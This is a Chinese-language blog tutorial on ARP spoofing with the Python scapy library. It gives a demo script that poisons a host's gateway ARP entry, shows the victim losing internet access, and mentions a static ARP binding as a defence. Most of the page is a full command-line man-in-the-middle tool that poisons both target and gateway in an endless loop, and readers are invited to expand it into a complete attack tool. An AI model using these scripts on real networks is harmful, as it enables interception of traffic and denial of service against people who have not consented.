listep 2019-03-08
scapy是python写的一个功能强大的交互式数据包处理程序,可用来发送、嗅探、解析和伪造网络数据包,常常被用到网络攻击和测试中。
scapy的安装在Linux非常便利,但在Windows下比较复杂。
以下假定读者使用的是Ubuntu Linux 和 Python 3 环境。
scapy的安装在Linux下非常便利,在终端下执行以下命令即可完成安装:
sudo pip3 install scapy-python3
以下是一个非常简单的arp攻击演示脚本,该脚本可以在实验环境下帮助你理解arp协议的作用和原理,当然你甚至可以扩充该脚本去编写一个完整的arp攻击工具。
#!/usr/bin/python3 # -*- coding: utf-8 -*- # ARP攻击演示脚本/arpDemo.py from scapy.all import ( Ether, ARP, sendp ) # 注意这里面的几个方法 # Ether用来构建以太网数据包 # ARP是构建ARP数据包的类 # sendp方法在第二层发送数据包 # Ether用来构建以太网数据包 eth = Ether() arp = ARP( # 代表ARP请求或者响应 op="is-at", # 发送方Mac地址/毒化记录中的MAC hwsrc="08:00:27:97:d1:f5", # 发送方IP地址/毒化记录中的IP psrc="192.168.31.1", # 目标Mac地址/被欺骗主机MAC hwdst="2C:56:DC:D3:AB:DB", # 目标IP地址/被欺骗主机IP地址 pdst="192.168.31.248" # 意思就是告诉192.168.31.248这个地址的主机,IP为192.168.31.100的主机MAC地址是08:00:27:97:d1:f5 # 如果不写目标主机的IP和MAC则默认以广播的形式发送 ) # scapy重载了"/"操作符,可以用来表示两个协议层的组合 # 这里我们输出一下数据包的结构信息 print((eth/arp).show()) # 发送封包,并且每间隔1秒重复发送 sendp(eth/arp, inter=2, loop=1)
攻击前我们在主机上看一下arp缓存的记录
arp -a
攻击前的arp缓存记录
执行脚本:
sudo python3 arpDemo.py
攻击后的arp缓存记录
这里我们是对主机的网关记录进行篡改,在执行了攻击脚本后主机已经无法正常访问互联网了。
如果你要防范这种攻击也很简单,直接将IP和MAC地址的关系绑定写入arp缓存即可。
在windows你可以通过arp命令完成,Linux下与此操作相似。
#添加静态项 arp -s 192.168.31.1 64-09-80-04-aa-c3
下面是一个更加复杂的中间人攻击脚本范例
你可以进一步的去完善它
#!/usr/bin/python3 # -*- coding: utf-8 -*- ''' ARP 攻击脚本 ''' import argparse import threading import time from scapy.all import ARP, Ether, get_if_hwaddr, sendp from scapy.layers.l2 import getmacbyip # 注意这里面的几个方法 # Ether用来构建以太网数据包 # ARP是构建ARP数据包的类 # sendp方法在第二层发送数据包 # getmacbyip方法用于通过ip获取mac地址 # get_if_hwaddr方法获取指定网卡的mac地址 def get_mac(tgt_ip): ''' 调用scapy的getmacbyip函数,获取攻击目标IP的MAC地址。 ''' tgt_mac = getmacbyip(tgt_ip) if tgt_mac is not None: return tgt_mac else: print("无法获取IP为:%s 主机的MAC地址,请检查目标IP是否存活"%tgt_ip) def create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip): ''' 生成ARP数据包,伪造网关欺骗目标计算机 src_mac:本机的MAC地址,充当中间人 tgt_mac:目标计算机的MAC gateway_ip:网关的IP,将发往网关的数据指向本机(中间人),形成ARP攻击 tgt_ip:目标计算机的IP op=is-at,表示ARP响应 ''' eth = Ether(src=src_mac, dst=tgt_mac) arp = ARP(hwsrc=src_mac, psrc=gateway_ip, hwdst=tgt_mac, pdst=tgt_ip, op="is-at") pkt = eth / arp return pkt def create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip): ''' 生成ARP数据包,伪造目标计算机欺骗网关 src_mac:本机的MAC地址,充当中间人 gateway_mac:网关的MAC tgt_ip:目标计算机的IP,将网关发往目标计算机的数据指向本机(中间人),形成ARP攻击 gateway_ip:网关的IP op=is-at,表示ARP响应 ''' eth = Ether(src=src_mac, dst=gateway_mac) arp = ARP(hwsrc=src_mac, psrc=tgt_ip, hwdst=gateway_mac, pdst=gateway_ip, op="is-at") pkt = eth / arp return pkt def main(): """ 主方法 """ description = "ARP攻击脚本" parser = argparse.ArgumentParser(description=description) parser.add_argument('-sm', dest='srcmac', type=str, help='发送源计算机的MAC,如果不提供,默认将采用本机的MAC地址') parser.add_argument('-t', dest='targetip', type=str, help='指定目标计算机IP', required=True) parser.add_argument('-tm', dest='targetmac', type=str, help='指定目标计算机MAC,如果不提供,默认将根据其IP获取MAC地址') parser.add_argument('-g', dest='gatewayip', type=str, help='指定网关IP', required=True) parser.add_argument('-gm', dest='gatewaymac', type=str, help='指定网关MAC,如果不提供,默认将根据其IP获取MAC地址') parser.add_argument('-i', dest='interface', type=str, help='指定使用的网卡', required=True) parser.add_argument('-a', dest='allarp', action='store_true', help='是否进行全网arp欺骗') args = parser.parse_args() tgt_ip = args.targetip gateway_ip = args.gatewayip interface = args.interface srcmac = args.srcmac targetmac = args.targetmac gatewaymac = args.gatewaymac if tgt_ip is None or gateway_ip is None or interface is None: print(parser.print_help()) exit(0) src_mac = srcmac if src_mac is None: src_mac = get_if_hwaddr(interface) print('本机MAC地址是:', src_mac) print("目标计算机IP地址是:", tgt_ip) tgt_mac = targetmac if tgt_mac is None: tgt_mac = get_mac(tgt_ip) print("目标计算机MAC地址是:", tgt_mac) print("网关IP地址是:", gateway_ip) gateway_mac = gatewaymac if gateway_mac is None: gateway_mac = get_mac(gateway_ip) print("网关MAC地址是:", gateway_mac) input('按任意键继续:') pkt_station = create_arp_station(src_mac, tgt_mac, gateway_ip, tgt_ip) pkt_gateway = create_arp_gateway(src_mac, gateway_mac, tgt_ip, gateway_ip) # 如果不展示发送情况的话下面的语句可以更加简便直接用sendp方法提供的功能循环发送即可,不需要多线程和死循环。 # sendp(pkt_station, inter=1, loop=1) # sendp(pkt_gateway, inter=1, loop=1) i = 1 while True: t = threading.Thread( target=sendp, args=(pkt_station,), kwargs={'inter':1, 'iface':interface} ) t.start() t.join() print(str(i) + " [*]发送一个计算机ARP欺骗包") s = threading.Thread( target=sendp, args=(pkt_gateway,), kwargs={'inter':1, 'iface':interface} ) s.start() s.join() print(str(i) + " [*]发送一个网关ARP欺骗包") i += 1 time.sleep(1) if __name__ == '__main__': main()
pytyhon学习资料
python学习资料